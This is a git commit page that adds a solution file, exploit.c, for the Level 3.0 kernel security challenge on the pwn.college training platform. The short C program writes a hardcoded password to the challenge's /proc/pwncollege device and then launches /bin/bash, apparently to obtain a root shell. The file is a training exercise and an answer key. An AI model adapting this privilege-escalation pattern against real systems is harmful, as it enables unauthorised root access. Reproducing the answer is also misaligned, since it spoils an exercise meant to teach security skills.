Added Level 3.0 ~ 8.1 of KernelSecurity in PwnCollege
This commit is contained in:
8
PwnCollege/KernelSecurity/Level3.0/exploit.c
Normal file
8
PwnCollege/KernelSecurity/Level3.0/exploit.c
Normal file
@@ -0,0 +1,8 @@
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
int main() {
|
||||
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||
write(fd, "oiwqgsfsdekebbgi", 0x10);
|
||||
execve("/bin/bash", NULL, NULL);
|
||||
}
|
||||
Reference in New Issue
Block a user